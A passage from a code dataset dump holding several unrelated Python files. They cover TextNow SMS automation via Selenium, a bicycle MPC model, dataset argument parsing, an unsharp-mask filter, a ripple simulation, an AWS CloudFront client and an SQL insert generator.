user-agent参数\n \n #chrome_driver = '/opt/hostedtoolcache/Python/3.7.9/x64/lib/python3.7/site-packages/seleniumbase-1.42.4-py3.7.egg/seleniumbase/drivers/chromedriver' #chromedriver的文件位置\n #driver = webdriver.Chrome(executable_path = chrome_driver, chrome_options=options) \n \n #这两种设置都进行才有效\n #driver.set_page_load_timeout(5)\n #driver.set_script_timeout(5)\n return driver\n \n #从缓存文件中读取cookie\n def read_cookie(self):\n #每个账号固定一个md5,以防多个账号冲突\n md5 = hashlib.md5(self.TN_COOKIE.encode(encoding='UTF-8')).hexdigest()\n try:\n fr=open('.cache/' + md5 + '_cookies.json','r')\n cookies=json.load(fr)\n fr.close()\n return cookies\n except:\n return None \n \n #保存cookie到缓存文件\n def write_cookie(self, driver):\n #每个账号固定一个md5,以防多个账号冲突\n md5 = hashlib.md5(self.TN_COOKIE.encode(encoding='UTF-8')).hexdigest()\n\n cookies=driver.get_cookies()\n try:\n fw=open('.cache/' + md5 + '_cookies.json','w')\n json.dump(cookies,fw)\n fw.close()\n except:\n return None \n \n # 检查cookie是否正常\n def check_cookie(self, driver):\n url = self.msg_url\n try:\n driver.get(url)\n except:\n pass\n \n time.sleep(5)\n if driver.current_url == url:\n return True\n return False\n \n #登录\n def login(self, driver):\n \n try:\n driver.get(self.url)\n except:\n pass\n \n time.sleep(3)\n\n if self.TN_COOKIE:\n # 采用cookie登录\n \n success = False\n #优先读取缓存cookie文件\n cookies = self.read_cookie()\n if cookies:\n driver.delete_all_cookies()\n for cookie in cookies:\n if 'expiry' in cookie:\n del cookie['expiry']\n driver.add_cookie(cookie)\n #检测是否登录成功\n success = self.check_cookie(driver)\n \n if not success:\n #通过设定的cookie登录\n cookies=self.TN_COOKIE.split('; ')\n driver.delete_all_cookies()\n for cookie in cookies:\n key = cookie.split('=')[0]\n value = cookie.split('=')[1]\n driver.add_cookie({\"name\":key,\"value\":value})\n #检测是否登录成功\n success = self.check_cookie(driver)\n \n if success:\n print('登录成功')\n #保存最新的cookie到缓存文件\n self.write_cookie(driver)\n return success\n\n #采用用户名密码登录\n \n print('cookie登录失败,尝试用用户名密码登录')\n\n #presence_of_element_located: 当我们不关心元素是否可见,只关心元素是否存在在页面中。\n #visibility_of_element_located: 当我们需要找到元素,并且该元素也可见。\n \n WebDriverWait(driver, 3).until(EC.visibility_of_element_located((By.XPATH, \"//input[@name='username']\")))\n uname_box = driver.find_element_by_xpath(\"//input[@name='username']\")\n pass_box = driver.find_element_by_xpath(\"//input[@name='password']\")\n uname_box.send_keys(self.TN_USER)\n pass_box.send_keys(self.TN_PASS)\n\n login_btn = driver.find_element_by_xpath(\"//button[@type='submit']\")\n login_btn.click()\n\n \n #显性等待,每隔3s检查一下条件是否成立\n try:\n WebDriverWait(driver, 3).until(EC.presence_of_element_located((By.XPATH, \"//div[@class='notification-priming-modal']\")))\n except:\n pass\n\n #检测是否登录成功\n success = self.check_cookie(driver)\n if success:\n print('登录成功')\n #保存最新的cookie到缓存文件\n self.write_cookie(driver)\n else:\n print('登录失败,请更换Cookie')\n \n return success\n \n def send_text(self):\n\n driver = self.getDriver();\n \n if self.login(driver):\n\n # remove通知提示框\n driver.execute_script(\"document.querySelectorAll('#recent-header .toast-container').forEach(function(e,i){console.log(e.href)})\")\n time.sleep(1)\n \n driver.execute_script(\"document.querySelectorAll('.notification-priming-modal').forEach(function(e,i){console.log(e.href)})\")\n time.sleep(1)\n \n #检测jQuery是否存在,如果不存在,则手动加载一次\n driver.execute_script(\"if(!window.jQuery){var scriptEle=document.createElement('script');scriptEle.src='https://cdn.jsdelivr.net/gh/jquery/jquery@3.2.1/dist/jquery.min.js';document.body.append(scriptEle)}\")\n time.sleep(3)\n \n driver.execute_script(\"$('#recent-header .toast-container').remove();\")\n driver.execute_script(\"$('.notification-priming-modal').remove();\")\n driver.execute_script(\"$('.modal').remove();\")\n time.sleep(2)\n \n for phone in self.PHONE_NUMBER.split(','):\n try:\n \n print (u'开始给%s发短信' % (phone.replace(''.join(list(phone)[-4:]),'****')))\n \n #点击 新建短信按钮\n try:\n new_text_btn = driver.find_element_by_id(\"newText\")\n if new_text_btn.is_displayed():\n new_text_btn.click()\n else:\n driver.execute_script(\"arguments[0].scrollIntoView();\", new_text_btn)\n if new_text_btn.is_displayed():\n new_text_btn.click()\n else:\n driver.execute_script(\"$(arguments[0]).click()\", \"#newText\")\n except:\n driver.execute_script(\"$(arguments[0]).click()\", \"#newText\")\n \n time.sleep(2)\n\n #输入:短信内容\n try:\n text_field = driver.find_element_by_id(\"text-input\")\n if text_field.is_displayed():\n text_field.click()\n text_field.send_keys(self.MESSAGE)\n else:\n driver.execute_script(\"arguments[0].scrollIntoView();\", text_field)\n if text_field.is_displayed():\n text_field.click()\n text_field.send_keys(self.MESSAGE)\n else:\n driver.execute_script(\"$(arguments[0]).val('arguments[1]')\", \"#text-input\", self.MESSAGE)\n except:\n driver.execute_script(\"$(arguments[0]).val('arguments[1]')\", \"#text-input\", self.MESSAGE)\n time.sleep(2)\n \n #输入号码\n try:\n number_field = driver.find_element_by_class_name(\"newConversationTextField\")\n if number_field.is_displayed():\n number_field.send_keys(phone)\n else:\n driver.execute_script(\"arguments[0].scrollIntoView();\", number_field)\n if number_field.is_displayed():\n number_field.send_keys(phone)\n else:\n driver.execute_script(\"$(arguments[0]).val('arguments[1]')\", \".newConversationTextField\", phone)\n except:\n driver.execute_script(\"$(arguments[0]).val('arguments[1]')\", \".newConversationTextField\", phone)\n time.sleep(10)\n\n #点击短信内容\n try:\n text_field = driver.find_element_by_id(\"text-input\")\n if text_field.is_displayed():\n text_field.click()\n else:\n driver.execute_script(\"arguments[0].scrollIntoView();\", text_field)\n if text_field.is_displayed():\n text_field.click()\n else:\n driver.execute_script(\"$(arguments[0]).focus()\", \"#text-input\")\n except:\n driver.execute_script(\"$(arguments[0]).focus()\", \"#text-input\")\n time.sleep(5)\n \n #点击发送按钮\n try:\n send_btn = driver.find_element_by_id(\"send_button\")\n if send_btn.is_displayed():\n send_btn.click()\n else:\n driver.execute_script(\"arguments[0].scrollIntoView();\", send_btn)\n if send_btn.is_displayed():\n send_btn.click()\n else:\n driver.execute_script(\"$(arguments[0]).click()\", \"#send_button\")\n driver.execute_script(\"setTimeout($(arguments[0]).click,2000)\", \"#send_button\")\n except:\n driver.execute_script(\"$(arguments[0]).click()\", \"#send_button\")\n driver.execute_script(\"setTimeout($(arguments[0]).click,2000)\", \"#send_button\")\n time.sleep(5)\n \n except:\n print (u'给%s发短信时发生异常:' % phone)\n info = sys.exc_info()\n #print(info)\n #print(info[0])\n print(info[1])\n time.sleep(2)\n pass\n continue\n \n print (u'处理完毕---end')\n \n driver.quit()\n \n","sub_path":"scripts/textnow/textnow_sms.py","file_name":"textnow_sms.py","file_ext":"py","file_size_in_byte":10832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"554116141","text":"import numpy as np\nfrom abc import abstractmethod\nfrom abc import ABC\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as plt_patches\nimport math\n\n##################################################################\n# #\n# Based on Multi-Purpose MPC from Mats Steinweg, ZTH #\n# Github: https://github.com/matssteinweg/Multi-Purpose-MPC #\n# #\n##################################################################\n\n\n# Colors\nCAR = '#F1C40F'\nCAR_OUTLINE = '#B7950B'\n\n#########################\n# Temporal State Vector #\n#########################\n\n\nclass TemporalState:\n def __init__(self, x=0.0, y=0.0, psi=0.0):\n \"\"\"\n Temporal State Vector containing car pose (x, y, psi)\n :param x: x position in global coordinate system | [m]\n :param y: y position in global coordinate system | [m]\n :param psi: yaw angle | [rad]\n \"\"\"\n self.x = x\n self.y = y\n self.psi = psi\n\n self.members = ['x', 'y', 'psi']\n\n def __iadd__(self, other):\n \"\"\"\n Overload Sum-Add operator.\n :param other: numpy array to be added to state vector\n \"\"\"\n for state_id in range(len(self.members)):\n vars(self)[self.members[state_id]] += other[state_id]\n return self\n\n def __len__(self):\n return len(self.members)\n\n def __setitem__(self, key, value):\n vars(self)[self.members[key]] = value\n\n def __getitem__(self, item):\n if isinstance(item, int):\n members = [self.members[item]]\n else:\n members = self.members[item]\n return [vars(self)[key] for key in members]\n\n def list_states(self):\n \"\"\"\n Return list of names of all states.\n \"\"\"\n return self.members\n\n\n###################################\n# Simple Bicycle Model Base Class #\n###################################\n\n\nclass BicycleModel(ABC):\n def __init__(self, reference_path, length, width, Ts):\n \"\"\"\n Abstract Base Class for Bicycle Model.\n :param reference_path: reference path object to follow\n :param length: length of car in m\n :param width: width of car in m\n :param Ts: sampling time of model\n \"\"\"\n\n # Precision\n self.eps = 1e-12\n\n # Car Parameters\n self.length = length\n self.width = width\n self.safety_margin = self._compute_safety_margin()\n\n # Reference Path\n self.reference_path = reference_path\n\n # Set initial distance traveled\n self.s = 0.0\n\n # Set sampling time\n self.Ts = Ts\n\n # Set initial waypoint ID\n self.wp_id = 0\n\n # Set initial waypoint\n self.current_waypoint = self.reference_path.waypoints[self.wp_id]\n\n # Declare temporal state variable | Initialization in sub-class\n self.temporal_state = None\n\n def drive(self, u):\n \"\"\"\n Drive.\n :param u: input vector containing [v, delta]\n \"\"\"\n\n # Get input signals\n v, delta = u\n\n # Compute temporal state derivatives\n x_dot = v * np.cos(self.temporal_state.psi)\n y_dot = v * np.sin(self.temporal_state.psi)\n psi_dot = v / self.length * np.tan(delta)\n temporal_derivatives = np.array([x_dot, y_dot, psi_dot])\n\n # Update spatial state (Forward Euler Approximation)\n self.temporal_state += temporal_derivatives * self.Ts\n\n # Compute velocity along path\n # TODO: need to confirm the equation\n s_dot = v * np.cos(delta)\n\n # Update distance travelled along reference path\n self.s += s_dot * self.Ts\n\n def _compute_safety_margin(self):\n \"\"\"\n Compute safety margin for car if modeled by its center of gravity.\n \"\"\"\n\n # Model ellipsoid around the car\n safety_margin = self.width / np.sqrt(2)\n\n return safety_margin\n\n def get_current_waypoint(self):\n \"\"\"\n Get closest waypoint on reference path based on car's current location.\n \"\"\"\n\n # Compute cumulative path length\n length_cum = np.cumsum(self.reference_path.segment_lengths)\n # Get first index with distance larger than distance traveled by car\n # so far\n greater_than_threshold = length_cum > self.s\n next_wp_id = greater_than_threshold.searchsorted(True)\n # Get previous index\n prev_wp_id = next_wp_id - 1\n\n # Get distance traveled for both enclosing waypoints\n s_next = length_cum[next_wp_id]\n s_prev = length_cum[prev_wp_id]\n\n if np.abs(self.s - s_next) < np.abs(self.s - s_prev):\n self.wp_id = next_wp_id\n self.current_waypoint = self.reference_path.waypoints[next_wp_id]\n else:\n self.wp_id = prev_wp_id\n self.current_waypoint = self.reference_path.waypoints[prev_wp_id]\n\n def show(self):\n \"\"\"\n Display car on current axis.\n \"\"\"\n\n # Get car's center of gravity\n cog = (self.temporal_state.x, self.temporal_state.y)\n # Get current angle with respect to x-axis\n yaw = np.rad2deg(self.temporal_state.psi)\n # Draw rectangle\n car = plt_patches.Rectangle(cog, width=self.length, height=self.width,\n angle=yaw, facecolor=CAR,\n edgecolor=CAR_OUTLINE, zorder=20)\n\n # Shift center rectangle to match center of the car\n car.set_x(car.get_x() - (self.length / 2 *\n np.cos(self.temporal_state.psi) -\n self.width / 2 *\n np.sin(self.temporal_state.psi)))\n car.set_y(car.get_y() - (self.width / 2 *\n np.cos(self.temporal_state.psi) +\n self.length / 2 *\n np.sin(self.temporal_state.psi)))\n\n # Add rectangle to current axis\n ax = plt.gca()\n ax.add_patch(car)\n\n @abstractmethod\n def linearize(self, v_ref, psi_ref, delta_ref):\n pass\n\n\n########################\n# Simple Bicycle Model #\n########################\n\nclass SimpleBicycleModel(BicycleModel):\n\n def __init__(self, reference_path, length, width, Ts):\n\n super(SimpleBicycleModel, self).__init__(\n reference_path, length=length, width=width, Ts=Ts)\n\n self.temporal_state = TemporalState()\n\n self.temporal_state.x = self.current_waypoint.x\n self.temporal_state.y = self.current_waypoint.y\n self.temporal_state.psi = self.current_waypoint.psi\n\n # Number of spatial state variables\n self.n_states = len(self.temporal_state)\n\n def linearize(self, v_ref, psi_ref, delta_ref):\n \"\"\"\n Linearize the system equations around provided reference values.\n :param v_ref: velocity reference around which to linearize\n :param kappa_ref: kappa of waypoint around which to linearize\n :param delta_s: distance between current waypoint and next waypoint\n \"\"\"\n\n ###################\n # System Matrices #\n ###################\n\n # Construct Jacobian Matrix\n # TODO\n a_1 = np.array([0, 0, -v_ref * np.sin(psi_ref)])\n a_2 = np.array([0, 0, v_ref * np.cos(psi_ref)])\n a_3 = np.array([0, 0, 0])\n\n b_1 = np.array([np.cos(psi_ref), 0])\n b_2 = np.array([np.sin(psi_ref), 0])\n b_3 = np.array([np.tan(delta_ref)/self.length, v_ref *\n (np.tan(delta_ref)**2 + 1)/self.length])\n\n # TODO: duuno what this is\n # f = np.array([0.0, 0.0, 1 / v_ref * delta_s])\n\n A = np.stack((a_1, a_2, a_3), axis=0)\n B = np.stack((b_1, b_2, b_3), axis=0)\n\n return A, B\n","sub_path":"Multi-Purpose-MPC-master/modified_src/simple_bicycle_model.py","file_name":"simple_bicycle_model.py","file_ext":"py","file_size_in_byte":7883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"67944604","text":"\"\"\"Defines how data is processed and loaded.\"\"\"\nimport os\nfrom argparse import ArgumentParser, Namespace\nfrom distutils.util import strtobool\n\nfrom agent.config import args\nfrom agent.data import dataset_split\n\n\nclass DataArgs(args.Args):\n def __init__(self, parser: ArgumentParser):\n super(DataArgs, self).__init__()\n parser.add_argument('--saved_game_directory',\n type=str,\n help='The directory where the game data is stored.')\n parser.add_argument('--game_state_filename',\n type=str,\n help='Filename storing game information for all examples in the dataset')\n parser.add_argument('--case_sensitive',\n default=False,\n type=lambda x: bool(strtobool(x)),\n help='Whether to take into account the case of characters in the instructions.')\n parser.add_argument('--minimum_wordtype_occurrence',\n default=2,\n type=int,\n help='The minimum number of times a word type must occur in the training set '\n 'to be in the vocabulary.')\n parser.add_argument('--validation_proportion',\n default=0.05,\n type=float,\n help='The proportion of games to hold out from the official training set during training '\n '(NOT the dev set).')\n parser.add_argument('--maximum_instruction_index',\n default=-1,\n type=int,\n help='The maximum instruction index; i.e., no instructions past this index will be '\n 'included as examples.')\n parser.add_argument('--maximum_number_examples',\n default=-1,\n type=int,\n help='The maximum number of examples to preprocess and load (should be set only when '\n 'debugging).')\n\n self._game_directory: str = None\n self._case_sensitive: bool = None\n self._minimum_wordtype_occurrence: int = None\n self._game_state_filename: str = None\n self._validation_proportion: float = None\n self._maximum_instruction_index: int = None\n self._maximum_number_examples: int = None\n\n def get_maximum_number_examples(self) -> int:\n self.check_initialized()\n return self._maximum_number_examples\n\n def get_split_filename(self, split: dataset_split.DatasetSplit) -> str:\n self.check_initialized()\n return os.path.join(self._game_directory, str(split).lower() + '.json')\n\n def get_game_state_filename(self) -> str:\n self.check_initialized()\n return self._game_state_filename\n\n def presaved(self, split: dataset_split.DatasetSplit, directory: str) -> bool:\n self.check_initialized()\n return os.path.exists(os.path.join(directory, str(split)))\n\n def case_sensitive(self) -> bool:\n self.check_initialized()\n return self._case_sensitive\n\n def get_minimum_wordtype_occurrence(self) -> int:\n self.check_initialized()\n return self._minimum_wordtype_occurrence\n\n def get_validation_proportion(self) -> float:\n self.check_initialized()\n return self._validation_proportion\n\n def get_maximum_instruction_index(self) -> int:\n self.check_initialized()\n return self._maximum_instruction_index\n\n def interpret_args(self, parsed_args: Namespace) -> None:\n self._game_directory = parsed_args.saved_game_directory\n self._case_sensitive = parsed_args.case_sensitive\n self._minimum_wordtype_occurrence = parsed_args.minimum_wordtype_occurrence\n self._game_state_filename = parsed_args.game_state_filename\n self._validation_proportion = parsed_args.validation_proportion\n self._maximum_instruction_index = parsed_args.maximum_instruction_index\n self._maximum_number_examples = parsed_args.maximum_number_examples\n\n super(DataArgs, self).interpret_args(parsed_args)\n\n def __str__(self) -> str:\n print(self._initialized)\n str_rep: str = '*** Data arguments ***' \\\n '\\n\\tGame directory: %r' \\\n '\\n\\tGame state filename: %r' \\\n '\\n\\tValidation proportion: %r' \\\n '\\n\\tMaximum instruction index: %r' \\\n '\\n\\tCase sensitive? %r' \\\n '\\n\\tMinimum wordtype frequency: %r'\\\n '\\n\\tMaximum number of examples: %r'% (self._game_directory, self._game_state_filename,\n self.get_validation_proportion(),\n self._maximum_instruction_index, self.case_sensitive(),\n self.get_minimum_wordtype_occurrence(),\n self.get_maximum_number_examples())\n return str_rep\n\n def __eq__(self, other) -> bool:\n return self._game_state_filename == other.get_game_state_filename() \\\n and self._case_sensitive == other.case_sensitive() \\\n and self._minimum_wordtype_occurrence == other.get_minimum_wordtype_occurrence() \\\n and self._maximum_instruction_index == other.get_maximum_instruction_index()\n","sub_path":"agent/config/data_args.py","file_name":"data_args.py","file_ext":"py","file_size_in_byte":5639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"265894301","text":"import random\nfrom PIL import Image\n\n#radius -> between 1 and 15\n#contrast level -> between 1 and 50 \n#threshold -> between 1 and 255\n#does not work with greyscale images (fix later)\n#takes a PIL image\ndef unsharp_mask(im, radius, contrast_level, threshold):\n #tim = Image.open(img_path)\n blurred = gaussian(im, radius)\n #unsharp_mask = subtract(im, blurred)\n unsharp_mask = subtract(blurred, im)\n high_contrast = contrast(im, contrast_level, 100 - contrast_level)\n\n sharpened = sharpen(im, unsharp_mask, high_contrast, threshold)\n \"\"\"\n im.show()\n unsharp_mask.show()\n blurred.show()\n high_contrast.show()\n sharpened.show() \n \"\"\"\n #sharpened.save(img_path)\n return sharpened\n\ndef sharpen(im, unsharp_mask, high_contrast, threshold):\n pixelMap = im.load()\n umMap = unsharp_mask.load()\n hcMap = high_contrast.load()\n\n img = Image.new(im.mode, im.size)\n pixelsNew = img.load()\n\n for i in range(im.size[0]):\n for j in range(im.size[1]):\n if luminance(umMap[i, j]) > threshold:\n pixelsNew[i, j] = hcMap[i, j]\n else:\n pixelsNew[i, j] = pixelMap[i, j]\n return img\n \n\ndef luminance(pixel):\n R, G, B = pixel\n return (R+R+B+G+G+G)/6\n\n#should these values be clamped?\ndef subtract(im1, im2):\n pixelMap1 = im1.load()\n pixelMap2 = im2.load()\n\n img = Image.new(im1.mode, im1.size)\n pixelsNew = img.load()\n\n for i in range(im1.size[0]):\n for j in range(im1.size[1]):\n a = pixelMap1[i, j] \n b = pixelMap2[i, j]\n pixelsNew[i, j] = tuple([max(0, x-y) for x, y in zip(a, b)])\n return img\ndef gaussian(im, filter_size):\n pixelMap = im.load()\n \n img = Image.new( im.mode, im.size)\n pixelsNew = img.load()\n\n filt = get_filter(filter_size)\n\n for i in range(img.size[0]):\n for j in range(img.size[1] - len(filt)):\n w = [0, 0, 0]\n for k in range(len(filt)):\n tup = pixelMap[i, j + k]\n w[0] += filt[k]*tup[0]\n w[1] += filt[k]*tup[1]\n w[2] += filt[k]*tup[2]\n pixelsNew[i, j + len(filt) // 2] = (int(w[0]), int(w[1]), int(w[2]), 255)\n\n for j in range(img.size[1]):\n for i in range(img.size[0] - len(filt)):\n w = [0, 0, 0]\n for k in range(len(filt)):\n tup = pixelMap[i + k, j]\n w[0] += filt[k]*tup[0]\n w[1] += filt[k]*tup[1]\n w[2] += filt[k]*tup[2]\n pixelsNew[i + len(filt) // 2, j] = (int(w[0]), int(w[1]), int(w[2]), 255)\n return img\n\ndef get_filter(n):\n lst = []\n for k in range(n + 1):\n lst.append(combination(n, k) / 2**n)\n return lst\n\ndef combination(n, r):\n res = 1\n for k in range(1, r + 1):\n res *= (n + 1 - k) / k\n return int(res)\n\ndef contrast(im, lower_percentile, upper_percentile):\n pixelMap = im.load()\n\n img = Image.new( im.mode, im.size)\n pixelsNew = img.load()\n\n R = []\n G = []\n B = []\n for i in range(img.size[0]):\n for j in range(img.size[1]):\n tup = pixelMap[i, j]\n R.append(tup[0])\n G.append(tup[1])\n B.append(tup[2])\n R.sort()\n G.sort()\n B.sort()\n low_R = getPercentile(R, lower_percentile)\n high_R = getPercentile(R, upper_percentile)\n low_G = getPercentile(G, lower_percentile)\n high_G = getPercentile(G, upper_percentile)\n low_B = getPercentile(B, lower_percentile)\n high_B = getPercentile(B, upper_percentile)\n for i in range(img.size[0]):\n for j in range(img.size[1]):\n R, G, B = pixelMap[i, j]\n R = flatten(R, low_R, high_R)\n G = flatten(G, low_G, high_G)\n B = flatten(B, low_B, high_B)\n pixelsNew[i,j] = (R, G, B, 255)\n return img\n\ndef flatten(val, low, high):\n r = (val - low) / (high - low + 1) * 255\n r = max(0, min(r, 255))\n return int(r)\n\ndef getPercentile(lst, n):\n return lst[int(n / 100 * (len(lst) - 1))]\n #return quickSelect(lst, int(n / 100 * len(lst)))\n\n#bad partitioning\ndef quickSelect(lst, n):\n start = 0\n end = len(lst) - 1\n while True:\n pivot = lst[end]\n i = start\n for k in range(start, end):\n if lst[k] < pivot:\n lst[i], lst[k] = lst[k], lst[i]\n i += 1\n lst[i], lst[end] = lst[end], lst[i]\n if i == n:\n return pivot\n \n#unsharp_mask(\"lena_copy.png\", 11, 5, 10)\n","sub_path":"MainPage/ImageDistortion/unsharp_masking.py","file_name":"unsharp_masking.py","file_ext":"py","file_size_in_byte":4524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"472607530","text":"# -*- coding: utf-8 -*-\nimport nysol._nysolshell_core as n_core\nfrom nysol.mcmd.nysollib.core import NysolMOD_CORE\nfrom nysol.mcmd.nysollib import nysolutil as nutil\n\nclass Nysol_Mselrand(NysolMOD_CORE):\n\n\t_kwd ,_inkwd,_outkwd = n_core.getparalist(\"mselrand\",3)\n\n\tdef __init__(self,*args, **kw_args) :\n\t\tsuper(Nysol_Mselrand,self).__init__(\"mselrand\",nutil.args2dict(args,kw_args,Nysol_Mselrand._kwd))\n\ndef mselrand(self,*args, **kw_args):\n\treturn Nysol_Mselrand(nutil.args2dict(args,kw_args,Nysol_Mselrand._kwd)).addPre(self)\n\nsetattr(NysolMOD_CORE, \"mselrand\", mselrand)\n","sub_path":"nysol/mcmd/submod/mselrand.py","file_name":"mselrand.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"21055052","text":"#\n\n#start Kate or switch to firefox\nimport subprocess\ncommand = 'wmctrl -l'\noutput = system.exec_command(command, getOutput=True)\n\nif 'Google Chrome' in output:\n window.activate(\"Google-chrome.Google-chrome\",switchDesktop=True, matchClass=True)\n window.activate(\"Google-chrome-stable.Google-chrome-stable\", switchDesktop=True, matchClass=True)\n\n #Move win to the left\n# thisWin = window.get_active_title()\n# windetails = window.get_active_geometry() # returns tuple of: x, y, width, height\n# window.resize_move(thisWin, 0, 0, width=1920, height=1050, matchClass=False)\n \nelse:\n subprocess.Popen([\"/usr/bin/google-chrome-stable\"])\n##","sub_path":".config/autokey/data/LeosStuff/AppLaunch/Chrome left1.py","file_name":"Chrome left1.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"41376745","text":"# -*- coding: UTF-8 -*-\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import axes3d\n\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\n\n#風紋シミュレータ \nN=100 \t\t#NxN Field\nL=3.0\t\t#風速\nh=0.1\t\t#単位砂\nk=1.\t\t#流され係数\nD=1/10.\t\t#拡散係数\n\n\n\n# Size -> Field\ndef init():\n\tmount = 1.00\n\tf = np.zeros((N,N))\n\tfor i in range(N):\n\t\tfor j in range(N):\n\t#\tf[50,i] = mount\n\t\t\tf[j,i] += np.random.rand()*(3.15-2.84)+2.84\n\treturn f\n\n# Field -> Field\ndef updateField(f):\n\tfor i in range(N):\n\t\tfor j in range(N):\n\t\t\tf = diffuse(f,i,j)\n\t\t\tf = flow(f)\n\treturn f\n\ndef up(n):\n\tf = init()\n\tfor i in range(n): \n\t\tupdateField(f)\n\t\tif (i%15==0):\n\t\t\timage(f,i)\n\t\t\tsurface3D(f,i)\n\t\t\tprint(i)\n\treturn\n\n\ndef image(f,i):\n\tplt.imshow(f)\n\tplt.savefig(str(i)+'.png')\n\tplt.clf()\n\treturn\n\ndef wire3D(f,i):\n\tfig = plt.figure()\n\tax = fig.add_subplot(111, projection='3d')\n\n\tx = np.arange(0, N, 1.0)\n\ty = np.arange(0, N, 1.0)\n\tX, Y = np.meshgrid(x, y)\n\tZ = f\n\tax.plot_wireframe(X, Y, Z, rstride=10, cstride=10)\n\tax.set_zlim(0, 70)\n\tplt.savefig('d'+str(i)+'.png')\n\tplt.clf()\n\treturn 0\n\ndef surface3D(f,i):\n\tfig = plt.figure()\n\tax = fig.gca(projection='3d')\n\tx = np.arange(0, N, 1.0)\n\ty = np.arange(0, N, 1.0)\n\tX, Y = np.meshgrid(x, y)\n\tZ = f\n\tsurf = ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.coolwarm,linewidth=0, antialiased=False)\n\tax.set_zlim(0, 10*3)\n\tax.zaxis.set_major_locator(LinearLocator(10))\n\tax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\n\t#fig.colorbar(surf, shrink=0.5, aspect=5)\n\tplt.savefig('s'+str(i)+'.png')\n\tplt.clf()\n\treturn \n\ndef line(f,i,y0):\n\tplt.xlim(0,100)\n\tplt.ylim(0,5.0)\n\tlin=f[y0]\n\tplt.plot(lin)\n\tplt.savefig('p'+str(i)+'.png')\n\tplt.clf()\n\treturn\n\n# PositionX -> PositonX\ndef p(x):\n\tx = x%N\n\treturn x\n\n#Field -> Field\ndef diffuse(f,i,j):\n\tf[i,j]= (1-D) * f[i ,j ] \\\n\t\t +(D/6.) *(f[p(i+1), j ]+f[ i-1,j ]+f[i ,p(j+1)]+f[i ,j-1]) \\\n\t\t +(D/12.)*(f[p(i+1),p(j+1)]+f[p(i+1),j-1]+f[i-1,p(j+1)]+f[i-1,j-1])\n\treturn f\n\n#Field -> Field\ndef flow(f):\n\tx0 = np.random.randint(N)\n\ty0 = np.random.randint(N)\n\tx = x0 \n\ty = p(y0 + int(L * k * f[x0,y0]) )\n\t#if (f[x0,y0]> h):\n\tf[x0,y0]-=h\n\tf[x ,y ]+=h\n\treturn f\n\nif __name__ == '__main__':\n\tup(int(input(\"n\")))","sub_path":"numerical_analysis/ripple.py","file_name":"ripple.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"18889861","text":"\"\"\"\nAWS lambda client to handle lambda service API requests.\n\"\"\"\nfrom horey.aws_api.aws_clients.boto3_client import Boto3Client\nfrom horey.aws_api.aws_services_entities.cloudfront_distribution import CloudfrontDistribution\nfrom horey.aws_api.base_entities.aws_account import AWSAccount\nimport pdb\n\nclass CloudfrontClient(Boto3Client):\n \"\"\"\n Client to handle specific aws service API calls.\n \"\"\"\n NEXT_PAGE_REQUEST_KEY = \"Marker\"\n NEXT_PAGE_RESPONSE_KEY = \"NextMarker\"\n NEXT_PAGE_INITIAL_KEY = \"\"\n\n def __init__(self):\n client_name = \"cloudfront\"\n super().__init__(client_name)\n\n def get_all_distributions(self, full_information=True):\n \"\"\"\n Get all lambda in all regions\n :param full_information:\n :return:\n \"\"\"\n final_result = list()\n\n for response in self.execute(self.client.list_distributions, \"DistributionList\", internal_starting_token=True):\n if response[\"Quantity\"] == 0:\n continue\n\n for item in response[\"Items\"]:\n obj = CloudfrontDistribution(item)\n final_result.append(obj)\n\n if full_information:\n pass\n\n return final_result\n","sub_path":"aws_api/horey/aws_api/aws_clients/cloudfront_client.py","file_name":"cloudfront_client.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"594937264","text":"import re\n\nfile = open(\"/mnt/c/Users/Grego/Desktop/TFG/FICHEROS/Python/Olist_Store/CSV/reviews.csv\", \"r\")\nfirst = file.readline() # Se elimina la cabecera del csv\n\nprint(\"USE Olist_Store;\")\n\nfor line in file:\n lista = list(line.replace(\"\\n\", \"\").split(\";\")) \n # \"Review_Code\",\"Review_Comment_Title\",\"Review_Comment_Message\",\"Review_id\"\n if not lista[1] and not lista[2]:\n tupla=\"INSERT INTO REVIEW (Review_Code,Review_id) VALUES (\" + lista[0] + \",\" + lista[3] + \");\"\n elif not lista[1]:\n tupla=\"INSERT INTO REVIEW (Review_Code,Review_Comment_Message,Review_id) VALUES (\" + lista[0] + \",\" + lista[2] + \",\" + lista[3] + \");\"\n elif not lista[2]:\n tupla=\"INSERT INTO REVIEW (Review_Code,Review_Comment_Title,Review_id) VALUES (\" + lista[0] + \",\" + lista[1] + \",\" + lista[3] + \");\"\n else:\n tupla=\"INSERT INTO REVIEW (Review_Code,Review_Comment_Title,Review_Comment_Message,Review_id) VALUES (\" + lista[0] + \",\" + lista[1] + \",\" + lista[2] + \",\" + lista[3] + \");\"\n print(tupla)","sub_path":"Datamarts_Creacion_Poblado/Olist_Store/Python/review.py","file_name":"review.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"11907075","text":"\"\"\"\nTracer object.\n\"\"\"\n\nimport os\nimport inspect\n\nfrom decorator import decorate\n\nfrom .null_tracer import NullTracer\nfrom .formatter import Formatter\nfrom .settings import Settings\n\n\nclass Tracer(object):\n \"\"\"\n The Tracer class is the main interface for this API.\n\n A tracer has two important properties:\n\n - a name, which is used to identify it.\n - a writer, which is 